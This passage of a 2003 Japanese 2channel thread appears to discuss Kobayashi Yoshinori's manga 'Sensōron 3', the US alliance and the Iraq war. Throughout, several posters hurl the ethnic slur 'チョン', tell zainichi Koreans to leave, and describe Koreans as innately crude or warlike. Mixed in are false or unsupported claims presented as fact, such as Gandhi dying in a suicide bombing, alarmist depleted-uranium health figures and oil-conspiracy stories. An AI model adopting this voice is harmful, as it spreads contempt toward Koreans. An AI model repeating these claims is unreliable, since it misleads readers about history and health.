124 :名無しかましてよかですか?:03/07/28 09:44 ID:6d7dhgHb
>>120
サヨク

125 :嫌韓勇士 ◆quM58wnvXA :03/07/28 10:40 ID:Ddes2qCz
>>123
重慶爆撃はスルーですか。そうですか。

126 :名無しかましてよかですか?:03/07/28 12:36 ID:01EGftmE
>>120
パターン化?
パターンを見つけたの?
どんなパターンか説明してよ。


127 :名無しかましてよかですか?:03/07/28 13:09 ID:eXdstJpx
何かずれてる?

>>2の人が>>29
<堺なら、プラットプラットに行けばいいんじゃないのか?
と書き込んで見える。
何故か俺のパソコンから見るとレスが20〜30ほどずれてる様だ。





128 : :03/07/28 13:27 ID:teGOXSiC
ここで一つの事実を提示しなきゃならない。
というかわしズムVol7に、平成14年3月に小林氏が行った
講演が再録されています。
その中で氏は「新しい歴史教科書を作る会」のユダヤ教が
母体の宗教団体が入り込んでることに触れています(エ○バの証人か?)
その団体は親イスラエル反アラブで、親米なのでしょう。
当然作る会の運動も彼らの影響に左右されざるをえない。
これってどうよ?
許されざるべき堕落じゃないか。
氏が作る会をポチといって痛烈に非難するのも当然でしょ。
ひっでーこんな事実があったとは知らなかった。
ポチが親米なのは主義とか主張とかの問題じゃ全然なかったわけです。




129 :嫌韓勇士 ◆quM58wnvXA :03/07/28 13:41 ID:Ddes2qCz
>>128
日本語がおかしいですよ。チョン。
後ソースを提示してね。

130 : :03/07/28 14:01 ID:teGOXSiC
ttp://www2u.biglobe.ne.jp/~kita-o/religon/449371337890625.html
ttp://www.makuya.or.jp/

エ○バの証人ななくてキリストの幕屋って言うらしい。
不勉強で俺も知らなかった。
あとこんなことでチョン認定かよ。
オマエこそチョンなみのヴァカだな。

131 :名無しかましてよかですか?:03/07/28 14:02 ID:L72h4yBW
今回は欧米の侵略の歴史を書いているのがよい
理系のやつは歴史に興味持ったことなくてテクノロジーはアメリカから流れてくるから
考えずに肯定するやつが多いけどそういう奴にぜひ読んでほしい
アメリカのプロパガンダを使った侵略の歴史を

132 :えんじにあ:03/07/28 14:10 ID:ylxNNLD9
>>131
>理系のやつは歴史に興味持ったことなくてテクノロジーはアメリカから流れてくるから

理系コンプレックス丸出しでつね。(爆)

133 :嫌韓勇士 ◆quM58wnvXA :03/07/28 14:11 ID:Ddes2qCz
>>130
掲示板の書き込みがソースになるとはおめでたいですね。
チョン。
>>131
>>考えずに肯定するやつが多いけどそういう奴にぜひ読んでほしい
何を考えずに肯定してるのか説明なさい。チョン。


134 :名無しかましてよかですか?:03/07/28 14:11 ID:JYZ+AWbS
読めば知識が増えるという事では今回の本は良かったかと

135 :嫌韓勇士 ◆quM58wnvXA :03/07/28 14:11 ID:Ddes2qCz
>>アメリカのプロパガンダを使った侵略の歴史を
世界中の国がやってますが何か?
むしろそんな事すらやってない半島が異常。

136 :名無しかましてよかですか?:03/07/28 14:12 ID:XLFCn9AR
そんなことより、純粋まっすぐ君のコヴァや嫌韓紳士やポチやカルト宗教や悪徳商法や汚職政治家が
うごめきせめぎ合った新しい歴史教科書を作る会を巡る一連の騒動をネタに、
「脱正義論2」を描いて欲しいな。


137 :名無しかましてよかですか?:03/07/28 14:42 ID:U561KE6R
ここの板の人がやけに中東に肩入れ
してるんだね。意味不明。
後、小林が言う親米保守の人たちが
大東亜戦争を否定しなければならない
等の意見は意味不明。
「占領されたらわしはテロしても誇りを
取り戻す云々」それなら米軍に降伏せずに
本土玉砕戦を支持するって意味だよな。
もうアホかと思う。
小林は多分、アングロサクソンやユダヤ人が
日本と中韓を対立させてる図式が我慢ならない
だろうが。だからその宗教団体が許せんのだろう。
しかし中韓は多分日本と組むより欧米と
組む方を選択すると思うがな。
日本の大東亜肯定論や歴史観を維持したまま
中韓と組めるハズ無いのにその矛盾を解かない
限り単なる妄想になるぞ。





138 :名無しかましてよかですか?:03/07/28 15:16 ID:ylxNNLD9
コピペはもういいよ・・・・

139 :オルゴ・デミーラ:03/07/28 15:52 ID:VHs/1nBj
小林よしのりは保守主義を名乗っているが、
根は軍国主義を賛美する右翼である。
今回の戦争論3でもそれは変わってはいなかった。
過去の侵略戦争を肯定し、中国を悪者に仕立てることによって、
わが国の行った凄惨な残虐行為から目を背けようとしている。
またアメリカの悪を批難することで、わが国の悪を縮小化させ、
戦争犯罪を正当化させるとは、実に卑怯な手段ではないだろうか。




140 :嫌韓勇士 ◆quM58wnvXA :03/07/28 15:55 ID:Ddes2qCz
小根今過わま戦?
在日は帰れ。

141 :???:03/07/28 15:57 ID:a5NBXgsb
みてね〜♪
http://cappuccino.h.fc2.com/kojiro.html

142 :名無しかましてよかですか?:03/07/28 15:59 ID:HdtYq/rw
ゲラゲラゲラ(ププゲラ
ケケケ嫌韓勇士だってよぉおおおおおお!!
自分で勇士。渋ぃねえええ(ワラワラ
しかも嫌韓勇士。クヒィーギャハハハ


143 :名無しかましてよかですか?:03/07/28 16:12 ID:2xHiUjpv
最近はシナの連中もゴー宣読んでるのか?

144 :名無しかましてよかですか?:03/07/28 16:14 ID:tptcPujD
日米同盟破棄の根拠として「自分の国は自分の国だけで守るのが当たり前」という意見をよく
きくが、世界中探したって自分の国を自分の国の軍隊だけで「守れる」国なんて米・露・中の
三カ国くらいなもんなんだがなあ。しかもこのうち露は国土の広さで、中は人口の多さで補って
る部分があるから事実上アメリカ一国。自前の海軍だけでシーレーンを守れるのも世界中で
アメリカ一国。在日米軍を追い出したとして、それと同じだけの抑止力を得るためにどれだけの
金と時間がかかるか本気で計算した人はいるのだろうか?

145 :自分の国を自分で守るバカがどこにいる?:03/07/28 16:28 ID:Vfr7/+4O
兵士たちは消耗品にすぎない。
http://www.morizumi-pj.com/iraq/iraq.html
派遣された自衛隊員も凄まじい細胞損傷や遺伝子損傷を免れることは出来ない。
ミシシッピー在住の湾岸帰還兵251世帯中67%に奇形。目の奇形、目や耳の欠落
http://www.angelfire.com/journal2/esashi/ir12.htm
劣化ウランと世界の終わり>精液中にウランが出て、遺伝メカニズムがめちゃくちゃになっている。
凄まじい細胞損傷や遺伝子損傷を受け、何もかもおかしくなります。
http://www.chugoku-np.co.jp/abom/uran/tokushu/index.html
湾岸戦争に従軍した保健物理学博士ベテラン陸軍少佐Doug Rokkeの証言
米誌『YES!』(2003年春号)「これは私たち自身に対する戦争だ」(The War Against Ourselves)
http://www1.ocn.ne.jp/~sinryaku/uhazinmyaku.htm
湾岸戦争に従軍したベテラン陸軍少佐ダグ・ロッキー氏は、イラク国内の戦闘で
米軍兵士の安全確保のための任務についた。そこで知った米兵とイラク一般市民双方への
劣化ウランなどによる戦争被害の実態は、彼に「もう戦争ができる時代は終わった」と
確信させるものだった。精液中にウランが出ているというのは、遺伝メカニズムが
めちゃくちゃになっているということです。その条件で受胎された子どもは、アルファ放射線によって
凄まじい細胞損傷や遺伝子損傷を受け、何もかもおかしくなります。72時間以内に病状が現われはじめました。精液中にウランが出て、遺伝メカニズムがめちゃくちゃになっている。


146 :嫌韓勇士 ◆quM58wnvXA :03/07/28 16:34 ID:Ddes2qCz
>>142
在日が火病をおこしやがった!(爆笑藁〜!

147 :名無しかましてよかですか?:03/07/28 16:43 ID:FjEp4PLF
国語辞典 [ 火病 ]の前方一致での検索結果 0件



検索結果に該当するものが見当たりません。

キーワードを変更して再度検索をしてみてください


148 :名無しかましてよかですか?:03/07/28 16:45 ID:e+fA+ydb
>>147
だって日本語じゃないもん。
「かびょう」じゃなくて「ふぁびょん」です。
まだチョコレートやコーヒーなどといったメジャーな外来語じゃないんです。

149 :名無しかましてよかですか?:03/07/28 16:47 ID:HdtYq/rw
勇士さまカッコイイわあ。

150 :名無しかましてよかですか?:03/07/28 16:50 ID:FjEp4PLF
嫌韓ぶってる奴程韓国通なのな

151 :名無しかましてよかですか?:03/07/28 16:56 ID:Xg68Vrjf
>>123

>小林先生も以前著書の中で仰っていたように、あんだけ優良な植民地経営をしたのにも
>関わらず孫子の代まで逆恨みされ、謝罪を強要されつづけているわけです。
>今度、「主体的な行動」を起こそうものなら、一体その逆恨みは何時まで続くのか
>空恐ろしくなる。
>
>だから、イラクでのアメリカの(疚しい)アクションに関してはこっちが尻ぬぐい
>するから、拉致被害者だけ返してくれれば後は丸投げ、、、って方針はそんなに
>いけないことなんでしょうかねぇ?

まずそれをアメリカが交換条件として認めるかという根本の問題があるのでは?
いくら日本が望んでいたとしても、アメリカが条件として見合うと思うかどうか分らないですよ。

それにもしアメリカがOKと言っても丸投げでは、実際に日本が望むような解決をしてくれるか、これまた分りません。
アメリカの都合だけで決められ、日本にとって不満であっても、「文句を言うな」で終わりではないでしょうか。

相手はアメリカです。日本人のように、こちらの意図を察知して、できるだけこちらの要望を満たしてくれるだろうと、日本が勝手に決め付けているだけではないか。

もしアメリカにやってもらいたいなら、「やってくれたら××しよう。しかしやってくれないと〇〇するぞ」というような飴とムチが使えるくらいでないと、日本がていよくあしらわれるだけではないか。


152 :打通さん:03/07/28 16:57 ID:pAV/ZZwg
>しかし中韓は多分日本と組むより欧米と組む方を選択すると思うがな。

朝鮮が未だに南北分断されてる状態で、どうして米中韓が同盟できる?
朝鮮戦争を棚上げに金正日政権を、米中韓で仲良く面倒見てやるつもりか。

153 :名無しかましてよかですか?:03/07/28 17:14 ID:IQTzOU8l
小林よしのりが言ってることは正しいのかもしれんが、物事には順序と
いうものがあるわけだろ。反米は構わんが、それを打ち出すには改憲を
はじめとして、クリアしなければならない壁がいくつもある。
まあ、言論としてではなく、文字通り「ゴーマニズム」としての主張な
ら理解できんわけでもないが。

154 : :03/07/28 17:17 ID:teGOXSiC
>>133
ソースもなにも「作る会」のシンポジウムや講演にはその団体が動員されてるということです。
小林氏がそのことを西尾幹二に問いただしたところ「あそこは日本の国家のことを考えた
団体だ」と答えたそうです。
つまり公然の事実だってこと。
ユダヤ教が母体で親イルラエルのその団体は小林氏に猛烈な憎悪を持って食ってかかり、
講演の最中にも延々と野次ってたということです。
ようするに「作る会」も西尾幹二も初めっからアメリカやイスラエルを非難することなんてできない。
当然アメリカのイラク攻撃や中東政策も無条件無批判で大賛成ってわけです。
まるで漫才ですね(爆笑)
さてここで小林氏を非難し続けてたお前みたいなポチの話ですが、
まるでピエロだろって話にしかなりません。
西尾や「作る会」がやってることは明らかに道義的な堕落であり、
それをまるで思想や国策のように主張してるオマエラなんてコントやってんのと同じだろ。


155 :名無しかましてよかですか?:03/07/28 17:18 ID:pbLeoCRN
>>134
純粋まっすぐ君じゃないなら、小林氏の書いてる事を鵜呑みにしないように。

156 :_:03/07/28 17:18 ID:GjSSOwjg
http://homepage.mac.com/hiroyuki44/jaz04.html

157 :名無しかましてよかですか?:03/07/28 17:39 ID:6d7dhgHb
劣化ウラン弾使うの反則だよな。

【Z武】だるまんが大王【U太】
http://comic.2ch.net/test/read.cgi/csaloon/1059277656/l50


158 :名無しかましてよかですか?:03/07/28 17:40 ID:/SG1lZV4
近くの本屋の「今週のベスト10」で1位だったよ

159 :名無しかましてよかですか?:03/07/28 18:09 ID:g63fK9gY
>>154
おいチョン、それでそのソースはどこだよww

ソースを出せと言われて出せず悔しがってブヒブヒ鳴く馬鹿

160 :名無しかましてよかですか?:03/07/28 18:15 ID:CIV8a6Cy
>>159
わしズムにのっている小林の講演

161 :名無しかましてよかですか?:03/07/28 18:20 ID:noYpAGJh
小林の発言だけがソースなのか(つД`)
宅八郎の時も、小林が散々嘘付いてたのが「教科書が教えない小林よしのり」で
緻密に暴かれてたっけな

162 :名無しかましてよかですか?:03/07/28 18:23 ID:igoLwZ4E
 これまでのいろんなレスみてると、中に、小林よしのりの主張は
「精神論」に過ぎないっていう意見があるけれども、現時点で俺は
「精神論」でいいと思うんだよね。
 というのは、戦後教育で日本国民が洗脳されてしまった以上、
アメリカをはじめとした諸外国と国益を争っていく上で、自我の支え
というものが必要なわけだと思う。その自我の支えが、歴史観という
ものだと思う。アメリカや中国韓国から輸入した歴史観では、彼らと
戦うことはできない。これはきわめて政治的な問題だと思う。
 まず精神の建て直しをしてからが全てだと思う。
 なんだかんだいっても、小林よしのりが登場したことによって、従軍慰安婦
の強制連行の有無をはじめとして、日本人の洗脳をここまで解けるように
なったから、その功績は大きいと思う。

 あと、精神論だけじゃなくて、物質論で日本がどうやったら自立できる
かという問題だけど、端的にいえば、エネルギー政策だよ。
 原子力をはじめとした脱石油エネルギーに変えていくしかない。
燃料電池もそうだけど。これが日本独立の宿願だよ。
 アメリカの共和党保守本流につうじる石油財閥は、日本の原子力政策を
徹底的に妨害してるから、原子力支持派の日本の政治家はスキャンダルか
汚職で失脚させられてきた。田中角栄もそうでしょ。
 中東からの石油依存から、ロシア、ベトナム、インドネシアと石油天然ガスの
輸入元を分散化して、国内では原子力・火力・風力発電への依存率を高める
ということ。ただ、今のところ、アメリカの妨害で思うようにいかないのが現実。
これを着実に日本のエネルギー政策として実行できれば、アメリカからの独立は
かなり実現性が高くなるということだね。
 

163 :名無しかましてよかですか?:03/07/28 18:47 ID:eF6R+StX
よしりんは絵がヘタになったねぇ。

164 :名無しかましてよかですか?:03/07/28 18:53 ID:Zh+y0cq9
【国際】"日本侵略者の殺人武器" 「戦艦大和のプラモが公然と売られている」と批判…中国紙
http://news2.2ch.net/test/read.cgi/newsplus/1059383165/l50


165 :名無しかましてよかですか?:03/07/28 18:54 ID:L5F2cfou
論敵が目の前にいるTVの討論とかでは喋れないくせに、論敵が目の前にいない漫画の世界では言いたい放題だな。
さらに手も足も出なかった論敵の顔を醜悪に書いたりするし。
こいつが「日本の公」とやらを語ってると「日本の公」ってその程度物なのかって思っちゃうよ。

166 :名無しかましてよかですか?:03/07/28 18:57 ID:8JAgcaE4
ポチウヨの巣窟ですね、ここは。

167 :名無しかましてよかですか?:03/07/28 19:00 ID:mKic0q1s
日本の公ってどういうものなの?

168 :名無しかましてよかですか?:03/07/28 19:02 ID:TpbrrzgW
クソスレ

169 : :03/07/28 19:13 ID:teGOXSiC
>>165
サヨでもポチでもいいからわしズムや戦争論を超える支持を受ける
本書けばいいだろう。
手も足も出なかった論敵って、小林氏を論破出来てる奴なんて
いないだろ。
なんか最近は反コヴァってもう人格攻撃ぐらいしかできなくなってんな

170 :嫌韓勇士 ◆quM58wnvXA :03/07/28 19:25 ID:Ddes2qCz
>>日本人の洗脳をここまで解けるようになったから、その功績は大きいと思う。
もの凄い低脳だな。
日本人の98%は従軍慰安婦を信じてるよ。
>>サヨでもポチでもいいからわしズムや戦争論を超える支持を受ける本書けばいいだろう。
何故この様な思考になるのか理解不能です。
>>小林氏を論破出来てる奴なんていないだろ。
お前の脳内だけでな(糞藁


171 :名無しかましてよかですか?:03/07/28 19:27 ID:MuCXhvA0
>>165
>手も足も出なかった論敵の顔を醜悪に書いたりするし

左翼もよく言ってましたね。うふふ。

172 : :03/07/28 19:29 ID:teGOXSiC
>>170
コメディアンはけーん!!

173 :打通さん:03/07/28 20:01 ID:pAV/ZZwg
よしりんに言わせればルーズベルトは「無能な戦争屋」ということだそうだ。
しかしおれさまに言わせれば他の戦線では全勝しており、彼が失敗したのは
中国問題に限られる。フライングタイガーズの空輸はその大半が日本軍と
共産党軍に捕獲され、朝鮮戦争で米式装備の中国兵が牙を向いてきた。

Over 1,180,000 tons of supplies and equipment and 1,380,000 troops
were transported by air. The air movement over the "hump" between
India and China attained a peak rate of 71,000 tons in 1 month.
http://www.ibiblio.org/hyperwar/AAF/USSBS-PTO-Summary.html

174 :名無しかましてよかですか?:03/07/28 20:27 ID:l8RafS6j
結局、嫌韓勇士って、、、


「嫌韓はこんなに駄目な事なんですよ!」

といいたいが為にアホキャラ演じてるだけなんだろ。


チマチョゴリの切り裂きと同レベルのアホ。あ、ごめんマジレスしちゃった。。

175 :名無しかましてよかですか?:03/07/28 20:38 ID:jHHRXe0O
>>173
 ウェデマイヤーの「第二次大戦に勝者なし」嫁。

176 :名無しかましてよかですか?:03/07/28 20:38 ID:wl3f/QLZ
このスレ壊れてる

177 :嫌韓勇士 ◆quM58wnvXA :03/07/28 21:10 ID:Ddes2qCz
>>174
在日必死だね。
そこまで都合が悪いの?

178 :名無しかましてよかですか?:03/07/28 21:20 ID:6IbftceK
>>176
コヴァは反論できなくなりと「ポチ」を連呼する生き物だってことが分かるのが、
このスレの存在意義なんだよ。

179 :名無しかましてよかですか?:03/07/28 21:22 ID:uB8UQVuJ
>日本人の98%は従軍慰安婦を信じてるよ。

こんなこと言うヤツが人を低脳呼ばわりするのか・・・

180 :名無しかましてよかですか?:03/07/28 21:25 ID:nrEGtp1N
戦争論3、半分ほど読んだがおもしろいよ
明治から大東亜戦争までの歴史は感情移入してしまって
薄氷を踏むような気分で読み進んでるw

181 :名無しかましてよかですか?:03/07/28 21:40 ID:igoLwZ4E
1時間前ぐらいに、駅前の本屋で買ってきて読んでる。
そこの本屋、レジの横に戦争論3だけじゃなくて、1も2も山積みに
なっていて、在庫一掃セールみたいな感じで笑えた。ありゃすげえ
宣伝だなぁ。
2は読んでないけど、3はとてもよい出来じゃないかな。
小林氏はほんと才能あるよ。政治を語るときにとかく陰湿になりがち
だけど、適度に娯楽的要素もはいってて退屈させない。
日米安保を破棄する章なんて、アメリカのCIAの連中を笑わせようと
してるよ、絶対。あいつらが読んだら普通に笑うんじゃねえかな。

まだ3分の1程度だけど、密度はなかなか濃いね。素直に面白い。

182 :_:03/07/28 21:41 ID:i9alekxO
http://homepage.mac.com/hiroyuki44/

183 :嫌韓勇士 ◆quM58wnvXA :03/07/28 21:43 ID:Ddes2qCz
>>179
別に俺が信じてるなんて言って覚えは無いがな。
従軍慰安婦は劣等チョンによる卑劣な策略だ。
だがそれは別として日本人の98%は従軍慰安婦を信じてる。
これは事実。

184 :名無しかましてよかですか?:03/07/28 22:04 ID:uB8UQVuJ
>嫌韓勇士 ◆quM58wnvXA

お前が池沼なのは分かった。「日本人の98%は従軍慰安婦を信じてる」って事を信じてるお前が他人を
低脳呼ばわり出来るなんて2ちゃんっていいトコだ。

しかし、「従軍」慰安婦と言うのは止せ。軍属と誤解される。それ自体が半島を利することになるぞ。
戦場慰安婦か慰安婦と呼べ。

185 :名無しかましてよかですか?:03/07/28 22:09 ID:l8RafS6j

だから、嫌韓勇士は在日の自作自演なんだって。




186 :名無しかましてよかですか?:03/07/28 22:11 ID:op0cEo9j
>嫌韓勇士 ◆quM58wnvXA
正確に言うと、
慰安婦にするための強制連行を日本人の98%が信じているだろ。
なにしろ徴用・徴兵まで強制連行ということで宣伝しているからなぁ・・・。

187 :名無しかましてよかですか?:03/07/28 22:35 ID:Zh+y0cq9
俺の友達に在日の奴いるけど、ホント品がないよそいつ。
3人在日の友達いるけど全員が品のないやつばかり。
そんで家族の自慢話ばかりする。

188 :名無しかましてよかですか?:03/07/28 22:52 ID:BY3ipjeP
面白かった。世界史勉強したくなったよ。

189 :名無しかましてよかですか?:03/07/28 22:58 ID:wl3f/QLZ
第三章は今の言論人、特にポチ保守が政治家ぶって評論家でないことを示している。
たかが一評論家がアメリカの批判をしたところで、安保を傷つけるということなどありえない。
そのことを言おうとしているのだ。

190 :名無しかましてよかですか?:03/07/28 23:01 ID:t6V5VdZr
戦後生まれのオジジと平成生まれの若者は
もっと歴史を勉強しなくちゃダメだね。

「日本は朝鮮人に酷いことをした。」とか
絶対に言えなくなるよ。

191 :名無しかましてよかですか?:03/07/28 23:10 ID:2QdOqg9X
>>187
そりゃ朝鮮人なんてそもそも血統はモンゴル譲りで好戦的、精神は中華
依存で甘えん坊なんだから、どうしょもないわな。


192 :名無しかましてよかですか?:03/07/28 23:10 ID:klWIsFLT
で……フセインが教育、医療に力を入れてたってのは分かったんだけど
あの殺された息子達は本当に拷問してたのか?
マスコミが信じられない今、何を信じていいのやら・・・

193 :ポチへ告ぐ:03/07/28 23:42 ID:O42d5S4t
だからさ、イラク攻撃支持なんて全然国益になってないんだよ。
イラク攻撃そのものは、ほとんど犯罪の世界だしね。
政治的には日米同盟は止むを得ない選択だろうが、
米国の行動をなんでも容認するなら「ポチ」と呼ばれてしかたないんじゃない?
要するにサヨク流の「生命と安全」が第一義になっているから、
わが身を守るならアメリカに追従するしかないって話になるんだよな。
でもそれならアメリカの支配下に入ればいいんだけど、
その場合の日本とは一体何なの?
本当に独立したいなら、やっぱりモラリティ(道徳)を貫き通さないと
いけないんじゃない?
自分は「安全と生命」より重い価値があると信じているから、
場合によっては、アメリカと対決することもありだと考える。
それには「覚悟」が必要だけど、今の様にアメリカべったりでは
国民の覚悟も育たないよな。
また敗戦するかも知れないわけだが、日本民族の伝統は失われることはないし。
逆にいうと「覚悟」が備わっていれば、それは一つの強みであるからして、
アメリカのみならず国際社会にも、大きく存在を示すことができるし、
尊厳を得ることもできるし、ある種の威嚇にもなる。
現状では「自分たちは道徳なんていりません。守るものは何もありません。
強者に依存して生き延びたいんです」と言ってるのに等しいのではないか?

194 :180:03/07/28 23:47 ID:xk7w9YIA
読了。今回の目玉は白人、とりわけアングロサクソンの侵略の歴史だね。
征服本能が強いんだろうなあ。他の人種にももちろんあるんだけど。

アフリカの飢餓児童の描写。戦慄ものだったよ。
あんな黒人を描けるのは小林氏ぐらいだろうね。

同時テロやイラク戦争以降、氏の主張がどんなものかつかみかねていた
けど確固としたものがあるのがわかったよ。

195 :名無しかましてよかですか?:03/07/28 23:51 ID:dieScXxM
 戦争論3で描かれていることは事実だ。

 ただし、米軍の太平洋戦争における残虐行為については日本軍の残虐行為同様検証の必要はある。おそらくどちらにも英雄もいたし魔獣もいた、ということだろう。
 そして、米軍の残虐行為は「聖戦などない、戦争はすべて絶対悪だ」というサヨク平和主義にとっても力になる。

 内容が事実だから全体が真実とは言えない。自説に都合のいい事実の集合は真実ではない。
 白人残虐史は事実だが、日本人や中国人、インド人の歴史にも虐殺や奴隷制、差別はあるし、どの文明にも闇があると同時に光もある。一神教の残虐さを強調した西洋文明悪魔論は結論が極端すぎる。
 虐殺、征服、奴隷制、戦争を全面的に悪とする思想は近代イデオロギーからしか生まれていない。

 また、暗黒世界史という手法は左翼が伝統的にやってきたことに他ならない。結論を「社会主義革命」の代わりに「伝統にのっとった独立」としただけだ。

 西洋陰謀史観に近い観点から描いているのも危険だ。わかりやすい反面、現実の複雑性を無視している。
 そして、その陰謀史観を肯定してしまうと、日本に限らず世界のどこの「民」にも独立の希望は一片もないことは明白だ。

 最大の問題は、「伝統にのっとった独立」という目標のためにどうすればいいのかを全く提示していない点だ。
 また、伝統にのっとって独立した日本がどんなに素晴らしいかを具体的に描く事もしていない。
 それは革命構想なしの資本論(斎藤貴男、森永卓郎、広瀬隆、本多勝一ら)同様、絶望を語るものでしかない。

 最後に、彼の結論はかなりガンジーの「真の独立への道」と共通している。ならば、なぜそれについてコメントしないのだ?

196 :嫌韓勇士 ◆quM58wnvXA :03/07/29 00:05 ID:MolQSnaG
>>193
政治、外交の前で道徳何て糞程の価値も無いんだよ。

197 :嫌韓勇士 ◆quM58wnvXA :03/07/29 00:13 ID:MolQSnaG
ここで屯している自称愛国者で予備自衛隊に入ってるのは何人なんだろうねえw

198 :名無しかましてよかですか?:03/07/29 00:13 ID:IecbpUai
戦争論って「個と公」がテーマだったんじゃないの?
なんかホントに「戦争論」だねこの3巻は。

199 :名無しかましてよかですか?:03/07/29 00:31 ID:fh4R31xQ
戦争論1は買って、戦争論2は友達に借りて読んだ。
旧ゴー宣は1〜9巻まで持ってる。新は文庫で買ってる。

で、戦争論3は立ち読みしたが、買った方がいいのかな?
今回は語り方が2の続きって感じではなく、1の焼きなおし
ってイメージが強いんだけど。

200 :名無しかましてよかですか?:03/07/29 00:54 ID:YLni9DxQ
ばかのたわ言に、なぜそんなに影響されるんだ。
小林は日本人を煽っているだけ。
煽られるな!
お前らの持っている知性と教養で、こいつを無視しろ!

201 :名無しかましてよかですか?:03/07/29 00:56 ID:NX3cHM3q

ガンジーは最後は自爆テロで死んだんだよ。
非暴力なんて彼の一面にしかすぎない。

202 :名無しかましてよかですか?:03/07/29 00:59 ID:FiOB/Xs8
>>199
1は、サヨクや中国韓国による反日史観に対するもの。
3はアメリカと親アメリカ的な風潮への警鐘と思われます。


203 :コヴァソゲリオソ:03/07/29 01:03 ID:CEMfID4c
>>196
ならばブッシュは何故無差別爆撃をしないのでしょうな。
「人でなし!(反道徳的)」という国際社会の批判が怖いからだろ?

>>197
私めは自衛隊の幹部志望の大学生でござりまする。

>>198
戦争ってのは「公を宿した個」がやるもんだ。
「戦争いきたくねぇ」ってのは「私」の心だし。

>>200
とりあえず、「ばかのたわ言」などという野蛮な言葉は
使わない程度の知性と教養を持ちたいものですな。

204 :名無しかましてよかですか?:03/07/29 01:06 ID:FiOB/Xs8
>>200
あなたもアジテータっぽい・・・

205 :名無しかましてよかですか?:03/07/29 01:07 ID:UtIWplKJ
>>200

知性と教養が全く無いほうがむしろアジられません。
文盲が一番いいでしょう。文盲であれば、戦争論など絵本以下でしかありません。
中途半端が一番いけないのです。

206 :名無しかましてよかですか?:03/07/29 01:09 ID:pi99J47v
マジョリティーになるのは難しいだろうけど、小林のような筋金入りの
保守主義勢力は必要。産経的な保守主義者達もこれはこれで必要だけど、
日和見的で地に足がついてない感じがして危うい。
それにしても小林の新たな流れを切り拓くオリジナリティーとバイタリ
ティーはすさまじいな。他の追随を許さないって感じ。江川達也と比較
する奴もいるけど、資料かき集めて歴史漫画を描いてるだけの江川とは
次元が違うわ。

207 :コヴァソゲリオソ:03/07/29 01:13 ID:CEMfID4c
>>206
オレは日露戦争物語もけっこう好きだけどね。

ジパングはあんまり好きじゃないが。

208 :名無しかましてよかですか?:03/07/29 01:33 ID:FiOB/Xs8
>>206
>>それにしても小林の新たな流れを切り拓くオリジナリティーとバイタリ
>>ティーはすさまじいな
そうだね。3読むまでは唐突な反米のように思えていたけど、きちんと
考えて言っていると思った。
「保守ポチ」の親米戦略は間違ってるとは思わないけど、小林氏のような
原理主義的、理想主義的な国民感情を代弁してくれる人がいるのはいいことだと
思う。



209 :名無しかましてよかですか?:03/07/29 01:38 ID:u/lIry2J
アメリカ的な民主主義・自由主義を押し付けてると小林は言うけど、
ホントにそうだろうか? だったらどうして日本は銃社会になってない?
陪審員制になってない? 大統領制になってない?
アメリカに押し付けられてるのは憲法ぐらいのもので、その他に関して
は戦後民主主義・自由主義は極めて日本的だと思うのだが。

210 :名無しかましてよかですか?:03/07/29 01:39 ID:5/Glvdig
>>208
あれがキチンとした考えであると思えるアンタは幸せ者だ(w


211 :名無しかましてよかですか?:03/07/29 01:43 ID:NX3cHM3q
>>210
なぜそう思えるか説明できない
あなたがかわいそうだ(W

212 :名無しかましてよかですか?:03/07/29 01:57 ID:5/Glvdig
>>211
説明できますぜ?
サヨクとは粛正を行った山岳派の事であり、急進的な民主主義・自由主義者もそれである
とかデンパ飛ばした段階で、もう駄目。(w

ところで、アンタ自身が殆ど説明無しに「キチンとしてる」という結論を出してますな。
どこら辺がキチンとしてるのか説明してくだせえ。



213 :名無しかましてよかですか?:03/07/29 02:08 ID:NX3cHM3q
>>211

なぜ、デンパを飛ばしてると思えるか
その矛盾点を聞いてるんだよ・・・

>デンパ飛ばした段階で、もう駄目。(w

なんて説明したうちに入るのか?
それじゃ論破したことにならんだろう。

214 :名無しかましてよかですか?:03/07/29 02:18 ID:bGLIhLsM
>>212
それなら、おまえの考える、サヨク、ウヨクの定義は何?
各々の思想の性質と、その根拠をいえよ。



215 :名無しかましてよかですか?:03/07/29 02:19 ID:jSh6pb9Q
>>195
>彼の結論はかなりガンジーの「真の独立への道」と共通している。
>ならば、なぜそれについてコメントしないのだ?
うーん、そうだったんですか。珍しい情報thx。
でも、ネタ元は必ずしも公開しなくていいのではないでしょうか?
ほかのマンガだってそういうのって公開しないでしょう。
それで読む方は「あ、これはアレのパクリだな」なんて思うだけで。
私は小林さんのマンガも「この話は小林さんが自分で調べて、
自分で結論を得たのかな?いや、そうじゃないな。結論まで
まるごと学者に教わってるな・・・誰だろう?あの先生か、この先生か?」
なーんて考えながら読んでるんですが。結構おもしろいですよ。
今日は一つネタ元がわかってちょっとうれしいw



216 :名無しかましてよかですか?:03/07/29 02:26 ID:5/Glvdig
>>213
ロンパ? おこちゃまか・・・
>>214
左翼、右翼の定義は漠然としている。
自分としては、「改革に消極的」が右翼であり「改革に積極的」が左翼であるとしている。

小林のいう、山岳派がサヨクという事だが、
フランス革命でいくなら、その右翼が自由主義者であり合理主義者で啓蒙主義。(爆

一人も右翼なんぞいねーって話になるな 総サヨク状態。 

漫画は所詮漫画。



217 :名無しかましてよかですか?:03/07/29 02:38 ID:bGLIhLsM
>自分としては、「改革に消極的」が右翼であり
>「改革に積極的」が左翼であるとしている。
憲法改正を進めようとしてるのは左翼か?
改革といっても色々あるだろ。

218 :名無しかましてよかですか?:03/07/29 02:43 ID:5/Glvdig
>>217
サヨクは、現体制である資本主義体制に対して、改革を迫るんだろうが。

それが、修正資本主義だか民主社会主義だか、平和主義だか、共産主義だか知らねーけどな。
旧来ある価値観に対しての変更を迫るんだよ。

従って、共産国家においては、共産主義者が右翼足り得る。
崩壊後のソ連で、自由主義改革を行った時点においては、共産主義者が右翼。


219 :名無しかましてよかですか?:03/07/29 02:44 ID:NX3cHM3q
>>214
説明の意味わかんねーよって指摘しただけで
逆キレかよ。
議論する気ないなら帰れ。

220 :名無しかましてよかですか?:03/07/29 02:44 ID:jSh6pb9Q
第12章の餓死する子供のモノローグは見事ですね。
散文詩といっていいくらい。涙なしには読めないです。
・・・・これもネタ元があるのか?小林のオリジナルなら
素晴らしいけど。


221 :ゴーマニズムを正すもの ◆u07eUXxQAU :03/07/29 02:49 ID:vDNURHJW
>>220
はい?完全盗作ですけど?

222 :220:03/07/29 02:57 ID:jSh6pb9Q
あ、やっぱりw
あれはネタ元書かないといけないんじゃないかな?
確か書いてなかったよね?

223 :名無しかましてよかですか?:03/07/29 02:59 ID:NKPpa3Pr
